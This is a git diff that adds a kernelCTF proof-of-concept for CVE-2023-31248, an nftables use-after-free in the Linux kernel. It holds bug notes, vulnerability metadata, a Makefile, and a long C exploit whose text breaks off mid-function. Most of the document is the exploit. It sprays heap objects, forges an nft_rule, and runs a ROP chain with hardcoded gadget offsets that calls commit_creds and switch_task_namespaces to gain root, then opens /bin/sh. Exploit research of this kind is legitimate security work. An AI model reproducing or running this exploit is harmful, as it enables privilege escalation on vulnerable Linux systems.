diff --git a/pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/exploit.md new file mode 100644 index 000000000..135ceff62 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/exploit.md @@ -0,0 +1,137 @@ +# Overview + +In in nftables, three functions, `nft_chain_lookup()`, `nft_chain_lookup_byhandle()`, and `nft_chain_lookup_byid()`, are used to lookup a chain. + +```c +static struct nft_chain *nft_chain_lookup(struct net *net, + struct nft_table *table, + const struct nlattr *nla, u8 genmask) +{ + ... + + rhl_for_each_entry_rcu(chain, tmp, list, rhlhead) { + if (nft_active_genmask(chain, genmask)) + goto out_unlock; + } + chain = ERR_PTR(-ENOENT); +out_unlock: + rcu_read_unlock(); + return chain; +} +``` + +```c +static struct nft_chain *nft_chain_lookup_byid(const struct net *net, + const struct nft_table *table, + const struct nlattr *nla) +{ + struct nftables_pernet *nft_net = nft_pernet(net); + u32 id = ntohl(nla_get_be32(nla)); + struct nft_trans *trans; + + list_for_each_entry(trans, &nft_net->commit_list, list) { + struct nft_chain *chain = trans->ctx.chain; + + if (trans->msg_type == NFT_MSG_NEWCHAIN && + chain->table == table && + id == nft_trans_chain_id(trans)) + return chain; + } + return ERR_PTR(-ENOENT); +} +``` + +`nft_chain_lookup()` and `nft_chain_lookup_byhandle()` check whether the chain is active by calling `nft_active_genmask()` when looking up the chain. In contrast, `nft_chain_lookup_byid()` does not perform this check. As a result, a use-after-free vulnerability occurs by referencing an inactive chain. + +```c +static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data, + struct nft_data_desc *desc, const struct nlattr *nla) +{ + ... + switch (data->verdict.code) { + ... + case NFT_JUMP: + case NFT_GOTO: + if (tb[NFTA_VERDICT_CHAIN]) { + chain = nft_chain_lookup(ctx->net, ctx->table, + tb[NFTA_VERDICT_CHAIN], + genmask); + } else if (tb[NFTA_VERDICT_CHAIN_ID]) { + chain = nft_chain_lookup_byid(ctx->net, ctx->table, + tb[NFTA_VERDICT_CHAIN_ID]); + if (IS_ERR(chain)) + return PTR_ERR(chain); + } else { + return -EINVAL; + } + + if (IS_ERR(chain)) + return PTR_ERR(chain); + if (nft_is_base_chain(chain)) + return -EOPNOTSUPP; + if (nft_chain_is_bound(chain)) + return -EINVAL; + if (desc->flags & NFT_DATA_DESC_SETELEM && + chain->flags & NFT_CHAIN_BINDING) + return -EINVAL; + + chain->use++; + data->verdict.chain = chain; + break; + } + + desc->len = sizeof(data->verdict); + + return 0; +} +``` + +If we delete the chain after creating it, it becomes inactive until destroying. Then, we can create a nft_expr that refers to an inactive chain by calling `nft_chain_lookup_byid()` in `nft_verdict_init()`. When the rule that includes this expr is deleted, the reference counter of the chain becomes 0, the chain is actually freed. Finally, in the destroy phase of the rule, `nft_immediate_destroy()` is called, and use-after-free is triggered referring to `data->verdict.chain` that has already been freed. + +```c +static void nft_immediate_destroy(const struct nft_ctx *ctx, + const struct nft_expr *expr) +{ + const struct nft_immediate_expr *priv = nft_expr_priv(expr); + const struct nft_data *data = &priv->data; + struct nft_rule *rule, *n; + struct nft_ctx chain_ctx; + struct nft_chain *chain; + + if (priv->dreg != NFT_REG_VERDICT) + return; + + switch (data->verdict.code) { + case NFT_JUMP: + case NFT_GOTO: + chain = data->verdict.chain; + + if (!nft_chain_is_bound(chain)) + break; + + chain_ctx = *ctx; + chain_ctx.chain = chain; + + list_for_each_entry_safe(rule, n, &chain->rules, list) + nf_tables_rule_release(&chain_ctx, rule); + + nf_tables_chain_destroy(&chain_ctx); + break; + default: + break; + } +} +``` + +# Triggering Vulnerability + +1. Create Table 1 +2. Create Chain Trigger +3. Create Chain Target +4. Delete Chain Trigger +5. Create Rule Trigger under Chain Target with immediate expr referring to Chain Trigger +6. Delete Rule Trigger + +# Exploitation + +To be updated. diff --git a/pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/novel-techniques.md new file mode 100644 index 000000000..dda752a72 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/novel-techniques.md @@ -0,0 +1,3 @@ +# Novel Techniques + +To be updated. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..b3e6779af --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilities: CAP_NET_ADMIN + - Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=837830a4b439bfeb86c70b0115c280377c84714b (netfilter: nf_tables: add NFTA_RULE_CHAIN_ID attribute) +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=515ad530795c118f012539ed76d02bacfd426d89 (netfilter: nf_tables: do not ignore genmask when looking up chain by id) +- Affected Version: v5.9-rc1 - v6.5-rc1 +- Affected Component: net/netfilter +- Cause: Use-After-Free +- Syscall to disable: disallow unprivileged username space +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-31248 +- Description: Linux Kernel nftables Use-After-Free Local Privilege Escalation Vulnerability; `nft_chain_lookup_byid()` failed to check whether a chain was active and CAP_NET_ADMIN is in any user or network namespace \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-31248_mitigation/exploit/mitigation-6.1/Makefile b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/exploit/mitigation-6.1/Makefile new file mode 100644 index 000000000..f838f98dc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/exploit/mitigation-6.1/Makefile @@ -0,0 +1,35 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +exploit: + gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -static -s + +prerequisites: libmnl-build libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) + rm -f exploit diff --git a/pocs/linux/kernelctf/CVE-2023-31248_mitigation/exploit/mitigation-6.1/exploit b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/exploit/mitigation-6.1/exploit new file mode 100755 index 000000000..fa365c0e8 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/exploit/mitigation-6.1/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-31248_mitigation/exploit/mitigation-6.1/exploit.c b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/exploit/mitigation-6.1/exploit.c new file mode 100644 index 000000000..f1c7b7aba --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/exploit/mitigation-6.1/exploit.c @@ -0,0 +1,1058 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include + +#include +#include +#include +#include +#include + +// gcc poc.c -o poc -lmnl -lnftnl -lm + +#ifndef NFT_CHAIN_BINDING +#define NFT_CHAIN_BINDING (1 << 2) +#endif + +#define LEAK_SIZE 180 +#define FAKE_RULE_SIZE 100 + +uint64_t kbase = 0; +uint64_t fake_ops_addr = 0; + +#define FIND_TASK_BY_VPID 0x10a0d0 +#define SWITCH_TASK_NAMESPACES 0x111c80 +#define COMMIT_CREDS 0x1136f0 +#define INIT_NSPROXY 0x2661680 +#define INIT_CRED 0x26618c0 +#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x12010c6 +#define VFORK 0x0e37d0 +#define DELAY 0x17da60 +#define NFT_COUNTER_OPS 0x1af8340 + +#define PUSH_RAX_POP_RSP 0xaec248 // 0xffffffff81aec248 : push rax ; pop rsp ; xor eax, eax ; jmp 0xffffffff82404440 +#define POP_RDI_RET 0x1481f3 // 0xffffffff811481f3 : pop rdi ; jmp 0xffffffff82404440 +#define POP_RSI_RET 0x0d813f // 0xffffffff810d813f : pop rsi ; jmp 0xffffffff82404440 +#define MOV_RDI_RAX_RET 0x61dd6a // 0xffffffff8161dd6a : mov rdi, rax ; mov dword ptr [rdx], ecx ; mov rax, rdi ; jmp 0xffffffff82404440 +#define POP_RDX_RET 0x6f12a0 // 0xffffffff816f12a0 : pop rdx ; xor eax, eax ; jmp 0xffffffff82404440 + +struct mnl_socket * nl; + +void win(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + system("cat /flag"); + + char *args[] = {"/bin/sh", NULL}; + execve("/bin/sh", args, NULL); + + exit(0); +} + +void write_file(const char *filename, char *text) { + int fd = open(filename, O_RDWR | O_CREAT); + + write(fd, text, strlen(text)); + close(fd); +} + +void set_affinity(int cpuid){ + cpu_set_t my_set; + int cpu_cores = sysconf(_SC_NPROCESSORS_ONLN); + + if (cpu_cores == 1) return; + + CPU_ZERO(&my_set); + CPU_SET(cpuid, &my_set); + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); +} + +#define SPRAY_VICTIM_COUNT 64 + +struct nftnl_chain * chains_victim[SPRAY_VICTIM_COUNT+1]; +struct nftnl_rule * rules[SPRAY_VICTIM_COUNT+1]; + +char * table1_name = "table1"; +char * table2_name = "table2"; + +#define MAX_DELAY_TABLE1 3 +#define MAX_DELAY_TABLE2 4 + +char * table_delay_name1[MAX_DELAY_TABLE1] = {"table_d0", "table_d1", "table_d2"}; +char * table_delay_name2[MAX_DELAY_TABLE2] = {"table2_d0", "table2_d1", "table2_d2", "table2_d3",}; + +char * table_cross_cpu_name = "table_cross_cpu"; +char * table_chain_hold_name = "table_chain_hold"; + +char * chain_target_name = "chain1"; +char * chain_trigger_name = "chain2"; +char * chain_dummy_name = "chain3"; +char * chain_fake_rule_name = "chain5"; + +uint64_t table_spray_count = 0; + +void rand_str(char *dest, size_t length) { + char charset[] = "0123456789" + "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + while (length-- > 0) { + size_t index = (double) rand() / RAND_MAX * (sizeof charset - 1); + *dest++ = charset[index]; + } + *dest = '\0'; +} + +void make_payload_rop(uint64_t* data){ + int i = 0; + + data[i++] = kbase + POP_RSI_RET; + data[i++] = 0; + + data[i++] = kbase + POP_RSI_RET; + data[i++] = 0; + + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + PUSH_RAX_POP_RSP; // deactivate() + + // find_task_by_vpid(1) + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + FIND_TASK_BY_VPID; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + MOV_RDI_RAX_RET; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + INIT_NSPROXY; + data[i++] = kbase + SWITCH_TASK_NAMESPACES; + + // commit_creds(&init_cred) + data[i++] = kbase + POP_RDI_RET; + data[i++] = kbase + INIT_CRED; + data[i++] = kbase + COMMIT_CREDS; + + data[i++] = kbase + VFORK; + data[i++] = kbase + DELAY; +} + +struct list_head { + struct list_head *next, *prev; +}; + +struct fake_nft_rule { + struct list_head list; + uint64_t handle:42, + genmask:2, + dlen:12, + udata:1; +}; + +#define FAKE_RULE_HANDLE 0xffff + +void make_fake_rule(uint64_t* data){ + struct fake_nft_rule * payload = (struct fake_nft_rule *) data; + + payload->dlen = 8; + payload->genmask = 0; + payload->handle = FAKE_RULE_HANDLE; + payload->list.prev = (void*) fake_ops_addr; + payload->list.next = (void*) fake_ops_addr; + + *(data + (sizeof(struct fake_nft_rule) / sizeof(uint64_t*))) = fake_ops_addr; +} + +void add_rules(char* chain_name, int count, uint64_t size){ + uint64_t *data = malloc(1024); + + memset(data, 'r', 1024); + + struct nftnl_rule * rule = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); + nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, NFPROTO_IPV4); + nftnl_rule_set_data(rule, NFTNL_RULE_USERDATA, data, size-25-16); + + struct nftnl_expr * expr = nftnl_expr_alloc("counter"); + nftnl_rule_add_expr(rule, expr); + + int seq = 0; + uint64_t buf_size = MNL_SOCKET_BUFFER_SIZE*0x100; + char *buf = malloc(buf_size); + + struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, buf_size); + struct nlmsghdr * nlh; + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + // add rule + for(int i = 0; i < count; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + free(buf); + free(data); +} + +#define TABLE_SPRAY 0x200 + +char *table_names1[TABLE_SPRAY]; +char *table_names2[TABLE_SPRAY]; + +void spray_table(char* table_names[], uint64_t size, uint64_t* data, uint64_t data_size){ + struct nftnl_table * tables[TABLE_SPRAY] = {0,}; + + if(size == 0) size = 12; + + for(int i = 0; i < TABLE_SPRAY; i++){ + char *table_name = malloc(1024); + memset(table_name, 0, 1024); + + rand_str(table_name, size-1); + + table_names[i] = table_name; + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + if (data_size > 0) + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data, data_size); + + tables[i] = table; + } + + int seq = 0; + + uint64_t buf_size = MNL_SOCKET_BUFFER_SIZE*0x100; + char *buf = malloc(buf_size); + + struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, buf_size); + struct nlmsghdr * nlh; + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + free(buf); +} + +void free_table(char* table_names[]){ + int seq = 0; + char buf[MNL_SOCKET_BUFFER_SIZE]; + + for(int i = 0 ; i < TABLE_SPRAY; i++){ + char *table_name = table_names[i]; + + struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, MNL_SOCKET_BUFFER_SIZE); + struct nlmsghdr * nlh; + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + struct nftnl_table * table = nftnl_table_alloc(); + + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, NFPROTO_IPV4); + + // del table + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + free(table_name); + } + + usleep(300 * 1000); +} + +#define CROSS_CPU_OBJS 290 +#define CHAIN_DELAY_SPRAY 0xa000 + +void do_victim_chain(){ + set_affinity(0); + + struct nftnl_chain * chain; + char chain_name[256] = {0,}; + int i; + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table2_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_rule * rule; + + for(i = 0; i < SPRAY_VICTIM_COUNT; i++){ + chain = nftnl_chain_alloc(); + + char udata[0x400]; + + memset(udata, 'd', 0x400); + + sprintf(chain_name, "c_%.100d%c", i, '\0'); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table2_name); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_u32(chain, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + nftnl_chain_set_data(chain, NFTNL_CHAIN_USERDATA, udata, LEAK_SIZE); + + chains_victim[i] = chain; + + rule = nftnl_rule_alloc(); + nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table2_name); + nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, "bound_rule"); + nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, NFPROTO_IPV4); + + struct nftnl_expr * expr = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr, NFTNL_EXPR_IMM_CHAIN, chain_name); + + // nest the expression into the set + nftnl_rule_add_expr(rule, expr); + + rules[i] = rule; + } + + struct nftnl_chain * chain_bound_rule = nftnl_chain_alloc(); + + nftnl_chain_set_str(chain_bound_rule, NFTNL_CHAIN_TABLE, table2_name); + nftnl_chain_set_str(chain_bound_rule, NFTNL_CHAIN_NAME, "bound_rule"); + nftnl_chain_set_u32(chain_bound_rule, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain_rule_hold = nftnl_chain_alloc(); + + nftnl_chain_set_str(chain_rule_hold, NFTNL_CHAIN_TABLE, table2_name); + nftnl_chain_set_str(chain_rule_hold, NFTNL_CHAIN_NAME, "rule_hold"); + nftnl_chain_set_u32(chain_rule_hold, NFTNL_CHAIN_FLAGS, 0); + + char rule_data[32] = {0,}; + + struct nftnl_rule * rule_hold64 = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_hold64, NFTNL_RULE_TABLE, table2_name); + nftnl_rule_set_str(rule_hold64, NFTNL_RULE_CHAIN, "rule_hold"); + nftnl_rule_set_u32(rule_hold64, NFTNL_RULE_FAMILY, NFPROTO_IPV4); + nftnl_rule_set_data(rule_hold64, NFTNL_RULE_USERDATA, rule_data, 16); + + struct nftnl_rule * rule_hold192 = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_hold192, NFTNL_RULE_TABLE, table2_name); + nftnl_rule_set_str(rule_hold192, NFTNL_RULE_CHAIN, "rule_hold"); + nftnl_rule_set_u32(rule_hold192, NFTNL_RULE_FAMILY, NFPROTO_IPV4); + nftnl_rule_set_data(rule_hold192, NFTNL_RULE_USERDATA, rule_data, FAKE_RULE_SIZE-25); + + struct mnl_socket * nl2 = mnl_socket_open(NETLINK_NETFILTER); + if (nl2 == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl2, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + int seq = 0; + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, buf_size); + struct nlmsghdr * nlh; + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + // add table + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + // add chain + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_bound_rule); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_rule_hold); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl2, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + seq = 0; + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + struct nftnl_table * table_delay = nftnl_table_alloc(); + + for(int i = 0; i < 8; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_hold64); + mnl_nlmsg_batch_next(batch); + } + + for(int i = 0; i < 4; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_hold192); + mnl_nlmsg_batch_next(batch); + } + + for(int i = 0; i < MAX_DELAY_TABLE2; i++){ + nftnl_table_set_str(table_delay, NFTNL_TABLE_NAME, table_delay_name2[i]); + nftnl_table_set_u32(table_delay, NFTNL_TABLE_FAMILY, NFPROTO_IPV4); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, table_delay); + mnl_nlmsg_batch_next(batch); + } + + // add chain + for(int i = 0; i < SPRAY_VICTIM_COUNT; i++){ + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chains_victim[i]); + mnl_nlmsg_batch_next(batch); + + if((i%8) == 0){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_hold192); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules[i]); + mnl_nlmsg_batch_next(batch); + + if((i%8) == 0){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_hold64); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, NFPROTO_IPV4, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules[i]); + mnl_nlmsg_batch_next(batch); + } + + for(int i = 0; i < 4; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_hold64); + mnl_nlmsg_batch_next(batch); + } + + for(int i = 0; i < 2; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_hold192); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + usleep(50 * 1000); + + printf("[*] Spray0 start... \n"); + + if (mnl_socket_sendto(nl2, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + printf("[*] Spray0 done... \n"); + + mnl_socket_close(nl2); + free(buf); +} + +void setup_table(){ + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_table * table_chain_cross_cpu = nftnl_table_alloc(); + nftnl_table_set_str(table_chain_cross_cpu, NFTNL_TABLE_NAME, table_cross_cpu_name); + nftnl_table_set_u32(table_chain_cross_cpu, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_table * table_chain_hold = nftnl_table_alloc(); + nftnl_table_set_str(table_chain_hold, NFTNL_TABLE_NAME, table_chain_hold_name); + nftnl_table_set_u32(table_chain_hold, NFTNL_TABLE_FLAGS, 0); + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE; + char *buf = malloc(buf_size); + + struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, buf_size); + int seq = 0; + struct nlmsghdr * nlh; + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_table_nlmsg_build_payload(nlh, table_chain_hold); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_table_nlmsg_build_payload(nlh, table_chain_cross_cpu); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + free(buf); + nftnl_table_free(table); + nftnl_table_free(table_chain_hold); + nftnl_table_free(table_chain_cross_cpu); +} + +void delchain_by_name(char* chain_name){ + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct nlmsghdr * nlh; + struct mnl_nlmsg_batch * batch; + int seq = 0; + + struct nftnl_chain * chain_del = nftnl_chain_alloc(); + + nftnl_chain_set_str(chain_del, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_del, NFTNL_CHAIN_NAME, chain_name); + + batch = 